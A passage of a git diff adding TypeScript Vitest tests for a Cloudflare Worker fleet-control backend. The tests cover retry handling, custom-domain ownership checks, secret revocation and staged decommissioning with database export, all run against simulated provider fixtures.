+      const database = dispatchedDuplicate.world.databases.find(
+        ({ databaseId }) => databaseId === ready.record.databaseId,
+      );
+      if (!database) throw new Error('ready database disappeared');
+      const injected = new Error('dispatched duplicate upload');
+      dispatchedDuplicate.world.failNext('uploadCandidate', {
+        dispatched: true,
+        duplicate: true,
+        error: injected,
+      });
+      dispatchedDuplicate.world.mutationLog.length = 0;
+
+      const failure = await captureFailure(
+        dispatchedDuplicate.backend.deployWorker(
+          targetSpec,
+          databaseReference(database),
+          sharedSecrets,
+          undefined,
+          ownedFence,
+          undefined,
+        ),
+      );
+
+      expect(
+        causeChain(failure).some(
+          (cause) =>
+            cause instanceof Error &&
+            cause.constructor === injected.constructor &&
+            cause.message === injected.message,
+        ),
+      ).toBe(true);
+      expect(dispatchedDuplicate.store.record).toEqual(readyRecord);
+      expect(
+        dispatchedDuplicate.world.scripts
+          .get(targetSpec.scriptName)
+          ?.versions.filter(
+            ({ tag }) => tag === deploymentSpecDigest(targetSpec),
+          ),
+      ).toHaveLength(2);
+      expect(dispatchedDuplicate.world.mutationLog).not.toContain(
+        `deploy:${targetSpec.scriptName}`,
+      );
+      expect(dispatchedDuplicate.world.mutationLog).not.toContain(
+        `deploy-candidate:${targetSpec.scriptName}`,
+      );
+    });
+
+    it('8. converges the exact secret set and refuses a residual secret during decommission', async () => {
+      const applicationSecret = 'application-secret-value-000000000001';
+      const application = {
+        vars: [],
+        secrets: [
+          {
+            name: 'APP_TOKEN',
+            valueSha256: createHash('sha256')
+              .update(applicationSecret)
+              .digest('hex'),
+          },
+        ],
+        r2Buckets: [],
+      };
+      const secrets = {
+        ...sharedSecrets,
+        application: { APP_TOKEN: applicationSecret },
+      };
+      const currentSpec = initialSpec();
+      const initialWithSecret = { ...currentSpec, application };
+      const targetSpec = migrationSpec({ application });
+      const harness = makeHarness();
+      const initial = await provisionReady(harness, initialWithSecret, secrets);
+      const expectedSecrets = [
+        'APP_TOKEN',
+        'DEPLOYMENT_IDENTITY_SECRET',
+        'MAINTENANCE_ADMIN_SECRET',
+      ];
+      expect(
+        [
+          ...(harness.world.scripts.get(currentSpec.scriptName)?.secretNames ??
+            []),
+        ].sort(),
+      ).toEqual(expectedSecrets);
+
+      const [migrated] = await migrate(
+        harness,
+        initial.record,
+        targetSpec,
+        secrets,
+      );
+      expect(
+        [
+          ...(harness.world.scripts.get(targetSpec.scriptName)?.secretNames ??
+            []),
+        ].sort(),
+      ).toEqual(expectedSecrets);
+      harness.world.afterNext('deleteControlSecrets', (world) => {
+        world.scripts.get(targetSpec.scriptName)?.secretNames.add('APP_TOKEN');
+      });
+
+      const failure = await captureFailure(
+        decommissionDeployment({
+          backend: harness.backend,
+          store: harness.store,
+          spec: targetSpec,
+          clock: () => 3_000,
+        }),
+      );
+      expect(errorChain(failure)).toContain('failed exact secret revocation');
+      expect(
+        harness.world.scripts.get(targetSpec.scriptName)?.secretNames,
+      ).toContain('APP_TOKEN');
+      expect(migrated?.phase).toBe('ready');
+    });
+
+    it('9. refuses foreign and concurrently claimed custom domains', async () => {
+      const spec = buildPlainWorkerSpec();
+
+      const foreign = makeHarness();
+      const [foreignVersion] = seedWorkerFromSpec(foreign.world, { spec });
+      foreign.world.customDomains.push({
+        id: 'foreign-domain',
+        hostname: spec.routeHostname,
+        service: 'foreign-worker',
+      });
+      const foreignFailure = await captureFailure(
+        foreign.backend.promoteWorker(
+          spec,
+          {
+            allowedCurrentScriptNames: [spec.scriptName],
+            allowUnrouted: false,
+          },
+          undefined,
+          ownedFence,
+          foreignVersion?.versionId,
+        ),
+      );
+      expect(errorChain(foreignFailure)).toContain(
+        "owned by unexpected Worker 'foreign-worker'",
+      );
+
+      const racing = makeHarness();
+      const [racingVersion] = seedWorkerFromSpec(racing.world, { spec });
+      racing.world.afterNext('listCustomDomains', (world) => {
+        world.customDomains.push({
+          id: 'racing-domain',
+          hostname: spec.routeHostname,
+          service: 'racing-worker',
+        });
+      });
+      racing.world.mutationLog.length = 0;
+      const racingFailure = await captureFailure(
+        racing.backend.promoteWorker(
+          spec,
+          { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true },
+          undefined,
+          ownedFence,
+          racingVersion?.versionId,
+        ),
+      );
+      expect(errorChain(racingFailure)).toContain(
+        "owned by unexpected Worker 'racing-worker'",
+      );
+      expect(racing.world.mutationLog).not.toContain(
+        `attach-domain:${spec.routeHostname}`,
+      );
+    });
+
+    it('10. preserves public-access and guarded-ingress facts through ambiguous initial upload recovery', async () => {
+      const harness = makeHarness();
+      const spec = buildPlainWorkerSpec();
+      harness.world.failNext('uploadCandidate', { dispatched: true });
+      const accepted = await provisionReady(harness, spec);
+      const retried = await provisionReady(harness, spec);
+      const script = harness.world.scripts.get(spec.scriptName);
+
+      expect(accepted.record.phase).toBe('ready');
+      expect(retried.record.phase).toBe('ready');
+      expect(script?.subdomain).toEqual({
+        enabled: true,
+        previewsEnabled: false,
+      });
+      expect(script?.deployment).toEqual([
+        { versionId: accepted.record.artifactVersion, percentage: 100 },
+      ]);
+      expect(script?.versions).toHaveLength(1);
+      const ingress = plainWorkerIngressModule(spec);
+      expect(script?.versions[0]?.mainModule).toBe(ingress.name);
+      expect(
+        script?.versions[0]?.modules.find(
+          (module) => module.name === ingress.name,
+        )?.content,
+      ).toBe(ingress.content);
+      expect(script?.versions[0]?.bindings).toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({
+            type: 'plain_text',
+            name: 'FLEET_INGRESS_CONTRACT',
+            text: 'guarded-object-v1',
+          }),
+        ]),
+      );
+    });
+
+    it('11. reconciles committed mutations, retries a transport failure that never dispatched, and refuses one that persists', async () => {
+      const spec = buildPlainWorkerSpec();
+
+      const databaseCreate = makeHarness();
+      databaseCreate.world.failNext('createDatabase', { dispatched: true });
+      // The core adopts an exact unowned database after a lost create response.
+      const created = await provisionReady(databaseCreate, spec);
+      expect(created.record.phase).toBe('ready');
+      expect(databaseCreate.world.databases).toHaveLength(1);
+      expect(created.record.databaseId).toBe(
+        databaseCreate.world.databases[0]?.databaseId,
+      );
+      expect(
+        databaseCreate.world.mutationLog.filter((entry) =>
+          entry.startsWith('create-database:'),
+        ),
+      ).toHaveLength(1);
+
+      const upload = makeHarness();
+      upload.world.failNext('uploadCandidate', { dispatched: true });
+      const uploaded = await provisionReady(upload, spec);
+      expect(uploaded.record.phase).toBe('ready');
+      expect(upload.world.scripts.get(spec.scriptName)?.versions).toHaveLength(
+        1,
+      );
+
+      function retryHarness() {
+        const harness = makeHarness();
+        const projected = recordingFetch(restProjection(harness.world));
+        const client = plainOnlyClient(projected, harness.exportStore);
+        const wait = vi.fn(async (_ms: number) => {});
+        const backend = harness.exportDirectory
+          ? new PlainWorkerBackend({
+              api: new WranglerPlainWorkerProvisioningApi({
+                runner: cliProjection(harness.world),
+                routeApi: client,
+                exportDirectory: harness.exportDirectory,
+                exportStore: harness.exportStore,
+              }),
+              identityCaller: 'PlainWorkerBackend.conformance',
+              fetch: projected.fetch,
+              wait,
+            })
+          : new CloudflareApiPlainWorkerBackend({
+              client,
+              fetch: projected.fetch,
+              wait,
+            });
+        const upload = vi.spyOn(harness.world, 'consumeFailure');
+        return {
+          ...harness,
+          backend,
+          wait,
+          uploadAttempts: () =>
+            harness.exportDirectory
+              ? upload.mock.calls.filter(
+                  ([operation]) => operation === 'uploadCandidate',
+                ).length
+              : projected.requests.filter(({ method, url }) => {
+                  const pathname = new URL(url).pathname;
+                  return (
+                    (method === 'PUT' &&
+                      pathname.endsWith(`/scripts/${spec.scriptName}`)) ||
+                    (method === 'POST' &&
+                      pathname.endsWith(`/scripts/${spec.scriptName}/versions`))
+                  );
+                }).length,
+          transportError: (message: string) => {
+            const error = new Error(message);
+            return harness.exportDirectory
+              ? new APIConnectionError({ cause: error })
+              : error;
+          },
+        };
+      }
+
+      for (const staged of [false, true]) {
+        for (const times of [1, 3]) {
+          const harness = retryHarness();
+          const target = staged ? migrationSpec() : spec;
+          const initial = staged
+            ? await provisionReady(harness, initialSpec())
+            : undefined;
+          const priorVersions =
+            harness.world.scripts
+              .get(target.scriptName)
+              ?.versions.map(({ versionId }) => versionId) ?? [];
+          const priorAttempts = harness.uploadAttempts();
+          const sentinel = staged
+            ? 'injected staged upload sentinel 0001'
+            : 'injected upload sentinel 0001';
+          harness.world.mutationLog.length = 0;
+          harness.world.failNext('uploadCandidate', {
+            dispatched: false,
+            times,
+            error: harness.transportError(sentinel),
+          });
+          const invoke = () =>
+            initial
+              ? migrate(harness, initial.record, target).then(([record]) => ({
+                  record,
+                }))
+              : provisionReady(harness, target);
+
+          if (times === 1) {
+            const result = await invoke();
+            expect(result.record?.phase).toBe('ready');
+            expect(harness.uploadAttempts() - priorAttempts).toBe(2);
+            expect(harness.wait.mock.calls).toEqual([[2_000]]);
+            const versions = harness.world.scripts.get(
+              target.scriptName,
+            )?.versions;
+            expect(versions).toHaveLength(priorVersions.length + 1);
+            expect(
+              versions?.filter(
+                ({ versionId }) => !priorVersions.includes(versionId),
+              ),
+            ).toHaveLength(1);
+            expect(
+              harness.world.mutationLog.filter((entry) =>
+                entry.startsWith('upload:'),
+              ),
+            ).toEqual([`upload:${target.scriptName}`]);
+          } else {
+            const database =
+              initial &&
+              harness.world.databases.find(
+                ({ databaseId }) => databaseId === initial.record.databaseId,
+              );
+            const rejection = await captureFailure(
+              database
+                ? harness.backend.deployWorker(
+                    target,
+                    databaseReference(database),
+                    sharedSecrets,
+                    undefined,
+                    ownedFence,
+                    undefined,
+                  )
+                : invoke(),
+            );
+            expect(errorChain(rejection)).toContain(sentinel);
+            if (staged) {
+              expect(errorChain(rejection)).toContain(
+                `failed to update existing Worker '${target.scriptName}'`,
+              );
+              expect(
+                harness.world.scripts
+                  .get(target.scriptName)
+                  ?.versions.map(({ versionId }) => versionId),
+              ).toEqual(priorVersions);
+            } else {
+              expect(
+                harness.world.scripts.get(target.scriptName),
+              ).toBeUndefined();
+            }
+            expect(harness.uploadAttempts() - priorAttempts).toBe(3);
+            expect(harness.wait.mock.calls).toEqual([[2_000], [4_000]]);
+            expect(
+              harness.world.mutationLog.filter((entry) =>
+                entry.startsWith('upload:'),
+              ),
+            ).toEqual([]);
+          }
+        }
+      }
+
+      for (const operation of ['deployCandidate', 'promoteWorker']) {
+        const deployment = makeHarness();
+        const firstSpec = initialSpec();
+        const targetSpec = migrationSpec();
+        const initial = await provisionReady(deployment, firstSpec);
+        deployment.world.failNext(operation, { dispatched: true });
+        const [recovered] = await migrate(
+          deployment,
+          initial.record,
+          targetSpec,
+        );
+        expect(recovered?.phase).toBe('ready');
+        expect(
+          deployment.world.scripts.get(targetSpec.scriptName)?.deployment,
+        ).toEqual([{ versionId: recovered?.artifactVersion, percentage: 100 }]);
+
+        const rejected = makeHarness();
+        const rejectedInitial = await provisionReady(rejected, firstSpec);
+        const initialRecord = structuredClone(rejectedInitial.record);
+        rejected.world.mutationLog.length = 0;
+        rejected.world.failNext(operation, {
+          dispatched: false,
+          error: new Error(`injected ${operation} sentinel 0001`),
+        });
+        const rejection = await captureFailure(
+          migrate(rejected, rejectedInitial.record, targetSpec),
+        );
+        const script = rejected.world.scripts.get(targetSpec.scriptName);
+        const targetDigest = deploymentSpecDigest(targetSpec);
+
+        expect(errorChain(rejection)).toContain(
+          `injected ${operation} sentinel 0001`,
+        );
+        expect(script?.versions).toHaveLength(2);
+        expect(script?.versions[0]?.tag).toBe(targetDigest);
+        expect(rejected.world.mutationLog).toContain(
+          `upload:${targetSpec.scriptName}`,
+        );
+        expect(rejected.world.mutationLog).not.toContain(
+          `deploy:${targetSpec.scriptName}`,
+        );
+        expect(rejected.store.record).toMatchObject({
+          phase: 'migrating',
+          pendingSpecDigest: targetDigest,
+          desiredSpecDigest: deploymentSpecDigest(firstSpec),
+          artifactVersion: initialRecord.artifactVersion,
+          schemaVersion: 2,
+        });
+
+        if (operation === 'deployCandidate') {
+          expect(errorChain(rejection)).toContain(
+            "failed to update existing Worker 'acme-production'",
+          );
+          expect(script?.deployment).toEqual([
+            {
+              versionId: initialRecord.artifactVersion,
+              percentage: 100,
+            },
+          ]);
+          expect(rejected.world.mutationLog).not.toContain(
+            `deploy-candidate:${targetSpec.scriptName}`,
+          );
+          expect(rejected.store.record?.pendingArtifactVersion).toBeUndefined();
+        } else {
+          const candidateVersion = script?.versions[0]?.versionId;
+          expect(errorChain(rejection)).not.toContain(
+            'failed to update existing Worker',
+          );
+          expect(script?.deployment).toEqual([
+            {
+              versionId: initialRecord.artifactVersion,
+              percentage: 100,
+            },
+            { versionId: candidateVersion, percentage: 0 },
+          ]);
+          expect(
+            rejected.world.mutationLog.filter(
+              (entry) => entry === `deploy-candidate:${targetSpec.scriptName}`,
+            ),
+          ).toHaveLength(1);
+          expect(
+            rejected.world.customDomains.map(({ hostname, service }) => ({
+              hostname,
+              service,
+            })),
+          ).toEqual([
+            {
+              hostname: 'acme.example.test',
+              service: 'acme-production',
+            },
+          ]);
+          expect(rejected.store.record?.pendingArtifactVersion).toBe(
+            candidateVersion,
+          );
+        }
+      }
+
+      const deletion = makeHarness();
+      await provisionReady(deletion, spec);
+      deletion.world.failNext('deleteWorkerScript', { dispatched: true });
+      await ignoreFailure(
+        decommissionDeployment({
+          backend: deletion.backend,
+          store: deletion.store,
+          spec,
+        }),
+      );
+      const removed = await decommissionDeployment({
+        backend: deletion.backend,
+        store: deletion.store,
+        spec,
+      });
+      expect(removed.record.phase).toBe('decommissioned');
+      expect(deletion.world.databases).toHaveLength(0);
+      expect(deletion.world.scripts.get(spec.scriptName)?.present).toBe(false);
+    });
+
+    it('12. refuses lease takeover after promotion reads and before the first write', async () => {
+      const harness = makeHarness();
+      const spec = buildPlainWorkerSpec();
+      const [version] = seedWorkerFromSpec(harness.world, { spec });
+      let domainReadCompleted = false;
+      harness.world.afterNext('listCustomDomains', () => {
+        domainReadCompleted = true;
+      });
+      harness.world.mutationLog.length = 0;
+      const leaseLost = new Error('lease ownership transferred');
+      const fence = {
+        mutationLeaseTtlMs: 15 * 60_000,
+        assertOwned: async () => {
+          if (domainReadCompleted) throw leaseLost;
+        },
+      };
+
+      const failure = await captureFailure(
+        harness.backend.promoteWorker(
+          spec,
+          { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true },
+          undefined,
+          fence,
+          version?.versionId,
+        ),
+      );
+
+      expect(failure).toBe(leaseLost);
+      expect(domainReadCompleted).toBe(true);
+      expect(harness.world.customDomains).toEqual([]);
+      expect(harness.world.mutationLog).toEqual([]);
+    });
+
+    it('13. refuses unknown and non-object provider bindings', async () => {
+      const spec = buildPlainWorkerSpec();
+      for (const malformed of [
+        {
+          binding: { type: 'analytics_engine', name: 'AE' },
+          sentence: 'has an unsupported or malformed provider binding',
+        },
+        { binding: null, sentence: /binding \d+ is not an object/u },
+      ]) {
+        const harness = makeHarness();
+        const [version] = seedWorkerFromSpec(harness.world, { spec });
+        const script = harness.world.scripts.get(spec.scriptName);
+        if (!script || !version) throw new Error('failed to seed Worker');
+        harness.world.seedScript(spec.scriptName, {
+          present: true,
+          versions: script.versions.map((candidate) => ({
+            ...candidate,
+            bindings: [...candidate.bindings, malformed.binding],
+          })),
+          deployment: script.deployment,
+          subdomain: script.subdomain,
+          secretNames: new Set(script.secretNames),
+        });
+
+        const failure = await captureFailure(
+          harness.backend.inspect(
+            spec,
+            sharedSecrets.maintenanceAdmin,
+            version.versionId,
+          ),
+        );
+        expect(errorChain(failure)).toMatch(malformed.sentence);
+      }
+    });
+
+    it('14. resumes every teardown phase and preserves export ordering and integrity', async () => {
+      // Eleven teardown phases each run a failed and a resumed decommission;
+      // an export-failure pass and an integrity-failure pass follow.
+      const spec = buildPlainWorkerSpec();
+      const baseline = makeHarness();
+      const ready = await provisionReady(baseline, spec);
+      const teardownPhases: FleetRecord['phase'][] = [
+        'decommissioning',
+        'traffic-removed',
+        'credentials-revoked',
+        'worker-deleted',
+        'platform-credentials-revoked',
+        'platform-resources-deleted',
+        'application-resources-deleting',
+        'application-resources-deleted',
+        'database-exported',
+        'database-deleting',
+        'decommissioned',
+      ];
+
+      for (const [index, phase] of teardownPhases.entries()) {
+        const harness = makeHarness(baseline.world.clone());
+        harness.store.record = structuredClone(ready.record);
+        harness.world.mutationLog.length = 0;
+        harness.store.failPutPhase = phase;
+        const sourceBytes = harness.world.exports.get(ready.record.databaseId);
+        if (!sourceBytes)
+          throw new Error('seeded database has no export bytes');
+        const expectedBytes = new Uint8Array(sourceBytes);
+
+        await expect(
+          decommissionDeployment({
+            backend: harness.backend,
+            store: harness.store,
+            spec,
+          }),
+        ).rejects.toThrow(`failed state write at ${phase}`);
+        const retained = harness.store.record;
+        if (!retained) throw new Error('failed write removed the Fleet row');
+        const predecessor = teardownPhases[index - 1] ?? 'ready';
+        expect(effectiveLifecyclePhase(retained)).toBe(predecessor);
+        expect(retained.phase).toBe('decommission-advancing');
+        const result = await decommissionDeployment({
+          backend: harness.backend,
+          store: harness.store,
+          spec,
+        });
+
+        const exportIndex = harness.world.mutationLog.indexOf(
+          `export:${ready.record.databaseId}`,
+        );
+        const deleteIndex = harness.world.mutationLog.indexOf(
+          `delete-database:${ready.record.databaseId}`,
+        );
+        expect(exportIndex).toBeGreaterThanOrEqual(0);
+        expect(deleteIndex).toBeGreaterThan(exportIndex);
+        expect(result.databaseExport).toMatchObject({
+          databaseId: ready.record.databaseId,
+          size: expectedBytes.byteLength,
+          sha256: createHash('sha256').update(expectedBytes).digest('hex'),
+        });
+        expect(
+          harness.exportStore.exports.get(ready.record.databaseId)?.bytes,
+        ).toEqual(expectedBytes);
+        expect(result.record).toMatchObject({
+          phase: 'decommissioned',
+          decommissionIntent: {
+            lifecyclePhase: 'decommissioned',
+            state: 'complete',
+          },
+        });
+      }
+
+      const exportFailure = makeHarness(baseline.world.clone());
+      exportFailure.store.record = structuredClone(ready.record);
+      exportFailure.world.mutationLog.length = 0;
+      exportFailure.world.failNext('exportDatabase', {
+        dispatched: false,
+      });
+      const exportRejection = await captureFailure(
+        decommissionDeployment({
+          backend: exportFailure.backend,
+          store: exportFailure.store,
+          spec,
+        }),
+      );
+      expect(exportRejection).toBeInstanceOf(Error);
+      // This is a regression guard because the row injects no state-write failure.
+      expect(errorChain(exportRejection)).not.toContain('failed state write');
+      expect(
+        exportFailure.exportStore.exports.has(ready.record.databaseId),
+      ).toBe(false);
+      expect(exportFailure.world.mutationLog).not.toContain(
+        `delete-database:${ready.record.databaseId}`,
+      );
+
+      const integrityFailure = makeHarness(baseline.world.clone());
+      integrityFailure.store.record = structuredClone(ready.record);
+      integrityFailure.world.mutationLog.length = 0;
+      integrityFailure.world.exports.set(
+        ready.record.databaseId,
+        new Uint8Array(),
+      );
+      const integrityRejection = await captureFailure(
+        decommissionDeployment({
+          backend: integrityFailure.backend,
+          store: integrityFailure.store,
+          spec,
+        }),
+      );
+      expect(errorChain(integrityRejection)).not.toContain(
+        'failed state write',
+      );
+      expect(integrityFailure.world.mutationLog).toContain(
+        `export:${ready.record.databaseId}`,
+      );
+      expect(integrityFailure.world.mutationLog).not.toContain(
+        `delete-database:${ready.record.databaseId}`,
+      );
+      expect(integrityFailure.store.record?.phase).not.toBe('decommissioned');
+    });
+
+    it('15. force-decommissions a deployment wedged after traffic removal', async () => {
+      const harness = makeHarness();
+      const spec = buildPlainWorkerSpec();
+      const ready = await provisionReady(harness, spec);
+      harness.store.record = {
+        ...ready.record,
+        phase: 'migrating',
+        pendingSpecDigest: 'f'.repeat(64),
+      };
+      harness.store.failPutPhase = 'traffic-removed';
+
+      await expect(
+        forceDecommissionDeployment({
+          backend: harness.backend,
+          store: harness.store,
+          tenantTag: spec.tenantTag,
+          environment: spec.environment,
+        }),
+      ).rejects.toThrow('failed state write at traffic-removed');
+      expect(harness.store.record?.phase).toBe('decommissioning');
+
+      await expect(
+        forceDecommissionDeployment({
+          backend: harness.backend,
+          store: harness.store,
+          tenantTag: spec.tenantTag,
+          environment: spec.environment,
+        }),
+      ).resolves.toBeUndefined();
+      expect(harness.store.record).toBeUndefined();
+      expect(harness.world.databases).toEqual([]);
+      expect(harness.world.customDomains).toEqual([]);
+      expect(harness.world.scripts.get(spec.scriptName)?.subdomain).toEqual({
+        enabled: false,
+        previewsEnabled: false,
+      });
+      expect(harness.world.scripts.get(spec.scriptName)?.secretNames.size).toBe(
+        0,
+      );
+    });
+
+    it('16. refuses every positive residual before database deletion', async () => {
+      const spec = buildPlainWorkerSpec();
+      const baseline = makeHarness();
+      const ready = await provisionReady(baseline, spec);
+
+      for (const residual of [
+        'domain',
+        'zone-route',
+        'namespace',
+        'attachment',
+      ]) {
+        const harness = makeHarness(baseline.world.clone());
+        harness.store.record = structuredClone(ready.record);
+        clearWorker(harness.world, spec.scriptName);
+        if (residual === 'domain') {
+          harness.world.customDomains.push({
+            id: 'residual-domain',
+            hostname: spec.routeHostname,
+            service: 'foreign-worker',
+          });
+        } else if (residual === 'zone-route') {
+          harness.world.zones.push({ id: 'zone-1' });
+          harness.world.routes.push({
+            zoneId: 'zone-1',
+            id: 'residual-route',
+            pattern: `${spec.routeHostname}/*`,
+            script: spec.scriptName,
+          });
+        } else if (residual === 'namespace') {
+          harness.world.durableObjectNamespaces.push({
+            id: 'residual-namespace',
+            script: spec.scriptName,
+            className: 'Maintenance',
+          });
+        } else {
+          harness.world.dispatchNamespaces.push({
+            name: 'foreign-dispatch',
+            scripts: [
+              {
+                name: 'foreign-worker',
+                bindings: [
+                  {
+                    type: 'd1',
+                    name: 'DB',
+                    database_id: ready.record.databaseId,
+                  },
+                ],
+              },
+            ],
+          });
+        }
+        const database = harness.world.databases.find(
+          ({ databaseId }) => databaseId === ready.record.databaseId,
+        );
+        if (!database) throw new Error('ready database disappeared');
+        const failure = await captureFailure(
+          harness.backend.assertDatabaseDetached(
+            spec,
+            ready.record,
+            databaseReference(database),
+            ownedFence,
+          ),
+        );
+        expect(failure).toBeInstanceOf(Error);
+        expect(errorChain(failure)).toMatch(
+          residual === 'attachment'
+            ? /remains attached to dispatch Worker 'foreign-worker'/u
+            : /residual route or Durable Object namespace footprint/u,
+        );
+      }
+
+      const residualSecret = makeHarness(baseline.world.clone());
+      residualSecret.store.record = structuredClone(ready.record);
+      residualSecret.world.afterNext('deleteControlSecrets', (world) => {
+        world.scripts
+          .get(spec.scriptName)
+          ?.secretNames.add('DEPLOYMENT_IDENTITY_SECRET');
+      });
+      const failure = await captureFailure(
+        decommissionDeployment({
+          backend: residualSecret.backend,
+          store: residualSecret.store,
+          spec,
+        }),
+      );
+      expect(errorChain(failure)).toContain('failed exact secret revocation');
+      expect(residualSecret.world.databases).toHaveLength(1);
+    });
+  });
+}
diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts
new file mode 100644
index 00000000..aa2bb208
--- /dev/null
+++ b/packages/fleet-control/test/plain-worker-backend.test.ts
@@ -0,0 +1,2682 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  APIConnectionError,
+  APIConnectionTimeoutError,
+  APIError,
+  APIUserAbortError,
+} from 'cloudflare';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { ActiveRouteAttestationError } from '../src/active-route.js';
+import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js';
+import { CloudflareProvisioningClient } from '../src/cloudflare-client.js';
+import {
+  isNotFound,
+  isTransientProviderError,
+  sanitizeProviderError,
+} from '../src/cloudflare-provider-errors.js';
+import { WorkerDeploymentError } from '../src/deployment-error.js';
+import { PlainWorkerBackend } from '../src/plain-worker-backend.js';
+import { deploymentSpecDigest } from '../src/spec-digest.js';
+import type {
+  ApplicationR2Binding,
+  DatabaseExportReceiptIdentity,
+  DatabaseReference,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
+  DeploymentSecrets,
+  DeploymentSpec,
+  ExternalMutationFence,
+  FleetRecord,
+  PlainWorkerProvisioningApi,
+  PlainWorkerUploadIntent,
+  PlainWorkerVersionDetail,
+} from '../src/types.js';
+import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js';
+import {
+  pageItems,
+  recordingFetch,
+  restProjection,
+  testRateCoordinator,
+  zoneAuthorityResponse,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import {
+  mutationFence,
+  rejectedValue,
+  routeApi,
+} from './fixtures/plain-worker-port-probe.js';
+import {
+  type FenceAssertionMode,
+  PlainWorkerProvisioningApiFake,
+} from './fixtures/plain-worker-provisioning-api-fake.js';
+import { D1State, providerWorld } from './fixtures/provider-world.js';
+
+const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+
+it('seeds optional FS8 metadata through string-bound provider SQL', async () => {
+  const api = new PlainWorkerProvisioningApiFake('per-request');
+  const d1 = new D1State();
+  const query = api.queryDatabase.bind(api);
+  api.queryDatabase = async (databaseId, sql, bindings = []) => {
+    await query(databaseId, sql, bindings);
+    expect(databaseId).toBe(database.id);
+    const parameters = bindings.map((value) => {
+      if (typeof value !== 'string')
+        throw new Error('fence parameters must be strings');
+      return value;
+    });
+    return d1.queryDatabase(sql, parameters);
+  };
+  await backend(api).seedDeploymentIdentity(database, 'acme', api.fence(), {
+    initialExecutionFenceState: 'migration-locked',
+  });
+  expect(d1.queryDatabase('SELECT * FROM flowsafe_execution_fence')).toEqual([
+    {
+      id: 'deployment',
+      state: 'migration-locked',
+      proof_key: null,
+      proof_run_id: null,
+      updated_at: expect.any(Number),
+      last_transition_request: null,
+      transition_revision: 0,
+      mutation_epoch: 0,
+      require_mutation_epoch: 0,
+      proof_table_prefix: null,
+      proof_workflow_id: null,
+      proof_start_token: null,
+    },
+  ]);
+  expect(api.queries.length).toBeGreaterThan(0);
+  expect(api.events.filter((event) => event === 'port-assert')).toHaveLength(
+    api.queries.length,
+  );
+});
+const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = {
+  version: 1,
+  authority: RECEIPT_AUTHORITY,
+  databaseId: '00000000-0000-0000-0000-000000000001',
+  operationId: '00000000-0000-4000-8000-000000000002',
+};
+
+// The legacy Wrangler suite remains the compatibility proof. The core-policy
+// cases here prove that the core runs without a CLI adapter and seed the
+// direct-API conformance fixture; they do not duplicate adapter behavior.
+
+const spec: DeploymentSpec = {
+  tenantTag: 'acme',
+  environment: 'production',
+  scriptName: 'acme-production',
+  databaseName: 'acme-production',
+  compatibilityDate: '2026-08-10',
+  compatibilityFlags: ['nodejs_compat'],
+  mainModule: 'worker.js',
+  modules: [{ name: 'worker.js', content: 'export default { fetch() {} }' }],
+  authoredBy: 'platform',
+  schemaVersion: 3,
+  migrations: [],
+  durableObjectMigrations: [],
+  durableObjectBindings: [],
+  maintenanceBaseUrl: 'https://control.example.test',
+  routeHostname: 'app.example.test',
+};
+
+const database: DatabaseReference = {
+  id: 'database-id',
+  name: spec.databaseName,
+  created: true,
+};
+
+const r2Resource: ApplicationR2Binding = {
+  name: 'ARTIFACTS',
+  bucketName: 'acme-production-artifacts',
+  jurisdiction: 'default',
+};
+
+const secrets: DeploymentSecrets = {
+  deploymentIdentity: 'deployment-identity-secret-value-0001',
+  maintenanceAdmin: 'maintenance-admin-secret-value-00001',
+};
+
+function backend(
+  api: PlainWorkerProvisioningApiFake,
+  options: {
+    readonly fetch?: typeof fetch;
+    readonly clock?: () => number;
+    readonly wait?: (ms: number) => Promise<void>;
+    readonly maintenanceRouteReadyTimeoutMs?: number;
+    readonly maintenanceRouteReadyIntervalMs?: number;
+  } = {},
+): PlainWorkerBackend {
+  return new PlainWorkerBackend({
+    api,
+    identityCaller: 'PlainWorkerBackend.test',
+    ...options,
+  });
+}
+
+function ownedVersion(id: string, deployment = spec): PlainWorkerVersionDetail {
+  const digest = deploymentSpecDigest(deployment);
+  return {
+    versionId: id,
+    tag: digest,
+    bindings: [
+      { type: 'd1', name: 'DB', databaseId: database.id },
+      {
+        type: 'plain-text',
+        name: 'DEPLOYMENT_TENANT',
+        value: deployment.tenantTag,
+      },
+      {
+        type: 'plain-text',
+        name: 'FLEET_ENVIRONMENT',
+        value: deployment.environment,
+      },
+      {
+        type: 'plain-text',
+        name: 'FLEET_SCHEMA_VERSION',
+        value: String(deployment.schemaVersion),
+      },
+      {
+        type: 'plain-text',
+        name: 'FLEET_SPEC_DIGEST',
+        value: digest,
+      },
+      {
+        type: 'plain-text',
+        name: 'FLEET_INGRESS_CONTRACT',
+        value: 'guarded-object-v1',
+      },
+    ],
+  };
+}
+
+function installOnUpload(
+  api: PlainWorkerProvisioningApiFake,
+  deployment = spec,
+): void {
+  api.onUploadCandidate = (intent) => {
+    api.versions.set(intent.scriptName, [
+      ...(api.versions.get(intent.scriptName) ?? []),
+      ownedVersion('candidate', deployment),
+    ]);
+    if (intent.mode === 'initial') {
+      api.deployments.set(intent.scriptName, {
+        versions: [{ versionId: 'candidate', percentage: 100 }],
+      });
+    }
+  };
+}
+
+function deployedCandidate(api: PlainWorkerProvisioningApiFake): void {
+  api.versions.set(spec.scriptName, [ownedVersion('candidate')]);
+  api.deployments.set(spec.scriptName, {
+    versions: [{ versionId: 'candidate', percentage: 100 }],
+  });
+}
+
+function maintenanceResponse(digest = deploymentSpecDigest(spec)): Response {
+  return Response.json({
+    nextSweepAt: 2_000,
+    nextPurgeAt: 3_000,
+    alarmAt: 2_000,
+    lastSweepAt: 1_000,
+    deploymentSpecDigest: digest,
+  });
+}
+
+describe('reconciled transient provisioning failures', () => {
+  const wait = vi.fn(
+    (ms: number) => new Promise<void>((resolve) => setTimeout(resolve, ms)),
+  );
+  beforeEach(() => {
+    vi.useFakeTimers();
+    wait.mockClear();
+  });
+  afterEach(() => vi.useRealTimers());
+
+  function providerFailure(status = 520): APIError {
